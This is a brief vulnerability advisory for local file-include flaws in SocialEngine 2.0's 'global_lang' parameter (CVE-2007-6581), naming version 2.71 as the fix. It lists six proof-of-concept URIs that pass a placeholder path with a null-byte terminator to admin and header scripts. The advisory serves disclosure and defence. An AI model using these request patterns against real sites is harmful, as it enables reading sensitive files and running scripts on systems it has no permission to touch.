SocialEngine 'global_lang' Multiple Local File Include Vulnerabilities

Bugtraq ID:	26990
Class:	Input Validation Error
CVE:	CVE-2007-6581
Remote:	Yes
Local:	No
Published:	Dec 22 2007 12:00AM
Updated:	May 07 2015 05:34PM
Credit:	MhZ91 discovered this vulnerability.
Vulnerable:	Social Engine Social Engine 2.0
Not Vulnerable:	Social Engine Social Engine 2.71

SocialEngine 'global_lang' Multiple Local File Include Vulnerabilities

SocialEngine is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these issues to execute arbitrary local scripts and retrieve potentially sensitive information.

These issues affect SocialEngine 2.0; other versions may also be vulnerable.

SocialEngine 'global_lang' Multiple Local File Include Vulnerabilities

An attacker can exploit this issue with a browser.

The following proof-of-concept URIs are available:

http://www.example.com/admin/admin_header_album.php?global_lang=[LFI]%00
http://www.example.com/admin/admin_header_blog.php?global_lang=[LFI]%00
http://www.example.com/admin/admin_header_group.php?global_lang=[LFI]%00
http://www.example.com/header_album.php?global_lang=[LFI]%00
http://www.example.com/header_blog.php?global_lang=[LFI]%00
http://www.example.com/header_group.php?global_lang=[LFI]%00

SocialEngine 'global_lang' Multiple Local File Include Vulnerabilities

Solution:
The vendor released SocialEngine 2.71 to address these issues. Please contact the vendor for information on how to obtain the latest version.

SocialEngine 'global_lang' Multiple Local File Include Vulnerabilities

References:

• Vendor Homepage (SocialEngine)